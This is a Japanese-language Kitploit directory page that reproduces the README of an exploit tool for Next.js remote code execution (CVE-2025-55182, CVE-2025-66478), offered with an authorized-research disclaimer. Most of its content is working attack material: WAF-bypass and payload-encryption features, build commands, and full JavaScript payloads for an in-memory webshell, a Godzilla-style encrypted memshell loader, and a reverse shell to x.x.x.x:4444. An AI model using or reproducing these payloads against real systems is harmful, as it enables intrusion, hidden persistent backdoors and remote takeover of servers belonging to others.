Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Nextjs_RCE_Exploit_Tool — CVE-2025-55182 および CVE-2025-66478 のエクスプロイト | Kitploit
ツール/GitHubGitHub/pyroxenites/nextjs_rce_exploit_tool
脆弱性分析エクスプロイトウェブアプリケーション悪用WAFバイパスペネトレーションテストコマンド&コントロール学習と教育レッドチーミングペイロード開発
GitHubpyroxenites/nextjs_rce_exploit_tool

Nextjs_RCE_Exploit_Tool

CVE-2025-55182 および CVE-2025-66478 のエクスプロイト

14136169ヶ月前Kitploit レビュー済み
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Next.js RCE Exploit Tool (CVE-2025-55182)


[!CAUTION] 免責事項 / Disclaimer

このツールはセキュリティ研究および教育目的に限り使用できます。ユーザーは本ツールを使用してテストを行う際、対象システムの正当な許可を得ていることを確認する必要があります。

許可なく侵入テスト、悪意のある攻撃、またはその他の違法な目的に使用することを固く禁じます。脆弱性の認識及び利用により生じたすべてのリスクと法的責任はユーザーが自己責任で負うものとし、本プロジェクトの開発者は一切の責任を負いません。

この条件に同意できない場合は、直ちに本ツールのダウンロードまたは使用を中止してください。

本ツールは公開記事に基づいて開発されており、コンパイル済みのバイナリリリースは提供しておりません。コードを監査し、ご自身でコンパイルしてください。


🙏 謝辞 / Credits

本ツールのコアロジックとバイパス手法は、セキュリティコミュニティの研究者から多大な影響を受けています。以下の方々に心から感謝申し上げます:

  • @maple3142
  • @lachlan2k (React2Shell)
  • @phithon (P牛)

✨ 機能 / Features

  • エクスプロイトチェーンサポート:
    • Prototype Chain
    • Array Map Chain
  • WAFバイパス:
  • ✅ Unicodeエンコード
  • ✅ UTF-16LEエンコード
  • OpSec:
    • 🔐 AESペイロード暗号化
  • ツールボックス:
    • コマンド実行: 同期 (execSync) と非同期 (exec) モードをサポート
    • ファイル管理: エクスプローラ風インターフェース、ファイルの参照、読み取り、書き込みをサポート
    • 高度な利用: ネイティブJSコード実行、モジュールロード (module._load) をサポート

  • 🛠️ クイックスタート

    1. 脆弱性検証 (Nuclei)

    Nucleiを使用してバッチフィンガープリンティングと脆弱性検証を行います:

    root@kitploit:~
    nuclei -l urls.txt -t CVE-2025-55182.yaml -o result.txt
    

    2. コンパイルと実行

    root@kitploit:~
    # 依存関係を整理
    go mod tidy
    
    # コンパイル
    go build -ldflags="-s -w" -o ReactExploit cmd/main.go
    
    # 実行
    ./ReactExploit
    

    📸 機能スクリーンショット / Screenshots

    1. エンコーディング

    Config & WAF Bypass

    2. コマンド実行 (RCE)

    RCE

    3. ファイルリソース管理

    File Explorer
    File Read

    4. 高度な使用法 (Native JS Eval)

    JS Eval
    Module Load

    💉 ペイロード例

    「高度な利用 -> ネイティブJSコード実行」モジュールでは、以下のペイロードを使用してポストエクスプロイト操作を行うことができます。

    1. メモリウェブシェル注入

    cmdlinux

    root@kitploit:~
    (function(){
        try {
            if (global.memshell_active) return "Memshell already active!";
            var http = process.mainModule.require('http');
            var cp = process.mainModule.require('child_process');
            var qs = process.mainModule.require('querystring');
            var originalEmit = http.Server.prototype.emit;
            http.Server.prototype.emit = function(event, req, res) {
                if (event === 'request' && req && res) {
                    var url = req.url || "";
                    if (req.method === 'POST' && url.indexOf('/?pass') !== -1) {
                        var bodyArr = [];
                        req.on('data', function(chunk) {
                            bodyArr.push(chunk);
                        });
                        req.on('end', function() {
                            try {
                                var bodyStr = Buffer.concat(bodyArr).toString();
                                var postData = qs.parse(bodyStr);
                                var cmd = postData['pwd'];
                                if (cmd) {
                                    var output = cp.execSync(cmd).toString();
                                    res.writeHead(200, {'Content-Type': 'text/plain'});
                                    res.end(output);
                                } else {
                                    res.writeHead(400);
                                    res.end("Parameter 'pwd' is missing.");
                                }
                            } catch (e) {
                                res.writeHead(500);
                                res.end("Error: " + e.message);
                            }
                        });
                        return true;
                    }
                }
                return originalEmit.apply(this, arguments);
            };
            global.memshell_active = true;
            return "Memshell injected!";
        } catch (e) {
            return "Injection failed: " + e.message;
        }
    })()
    

    https://github.com/BeichenDream/GodzillaNodeJsPayload

    root@kitploit:~
    (function() {
        try {
            if (global.godzilla_memshell_hooked) return "Memshell already hooked!";
            var http = process.mainModule.require('http');
            var secretKey = '3c6e0b8a9c15224a'; 
            var payloadName = 'ge0b8a';
            function rc4(key, data) {
                var s = Array(256), k = Array(256);
                var i, j = 0, tmp;
                for (i = 0; i < 256; i++) {
                    s[i] = i;
                    k[i] = key.charCodeAt(i % key.length);
                }
                for (i = 0; i < 256; i++) {
                    j = (j + s[i] + k[i]) % 256;
                    tmp = s[i];
                    s[i] = s[j];
                    s[j] = tmp;
                }
                i = j = 0;
                var out = Buffer.alloc(data.length);
                for (var idx = 0; idx < data.length; idx++) {
                    i = (i + 1) % 256;
                    j = (j + s[i]) % 256;
                    tmp = s[i];
                    s[i] = s[j];
                    s[j] = tmp;
                    var t = (s[i] + s[j]) % 256;
                    out[idx] = data[idx] ^ s[t];
                }
                return out;
            }
            var originalEmit = http.Server.prototype.emit;
            http.Server.prototype.emit = function(event, req, res) {
                if (event === 'request' && req && res && req.method === 'POST' && (req.url || "").indexOf('/76f03711') !== -1) {
                    var bodyArr = [];
                    req.on('data', function(chunk) {
                        bodyArr.push(chunk);
                    });
                    req.on('end', async function() {
                        try {
                            var bodyStr = Buffer.concat(bodyArr).toString();
                            var json = JSON.parse(bodyStr);
    
                            if (json.data) {
                                var dataBuf = Buffer.from(json.data, 'base64');
                                var rawBody = rc4(secretKey, dataBuf);
                                if (global[payloadName] === undefined) {
                                    try {
                                        var tmpPayload = new Function(rawBody.toString())();
                                        if (typeof tmpPayload === "object" && typeof tmpPayload.process === "function") {
                                            global[payloadName] = tmpPayload;
                                        }
                                    } catch (err) {
                                    }
                                }
                                if (global[payloadName] !== undefined) {
                                    var result = await global[payloadName]['process'].call(global[payloadName], rawBody);
                                    var resultBuf = Buffer.isBuffer(result) ? result : Buffer.from(String(result));
                                    var encResult = rc4(secretKey, resultBuf);
                                    res.writeHead(200, {'Content-Type': 'application/json'});
                                    res.end(JSON.stringify({ "data": encResult.toString("base64") }));
                                    return;
                                }
                            }
                        } catch (e) {
                        }
                       
                        res.writeHead(200, {'Content-Type': 'application/json'});
                        res.end(JSON.stringify({data: null}));
                    });
                    return true;
                }
                return originalEmit.apply(this, arguments);
            };
            global.godzilla_memshell_hooked = true;
            return "Godzilla Loader-Mode Memshell injected!";
        } catch (e) {
            return "Injection failed: " + e.message;
        }
    })()
    

    2. リバースシェル

    root@kitploit:~
    (function(){
        try {
            var net = process.mainModule.require('net');
            var cp = process.mainModule.require('child_process');
            // 環境に応じて /bin/bash に変更可能
            var sh = cp.spawn('/bin/sh', ['-i']);
            var client = new net.Socket();
            
            client.on('error', function(err) {
                if (sh) sh.kill(); 
            });
            sh.on('error', function(err) {
                if (client) client.destroy();
            });
            
            client.connect(4444, 'x.x.x.x', function(){
                client.pipe(sh.stdin);
                sh.stdout.pipe(client);
                sh.stderr.pipe(client);
            });
            return "Spawned successfully (Async)";
        } catch (e) {
            return "Failed to spawn: " + e.message;
        }
    })();
    
    ツールをダウンロード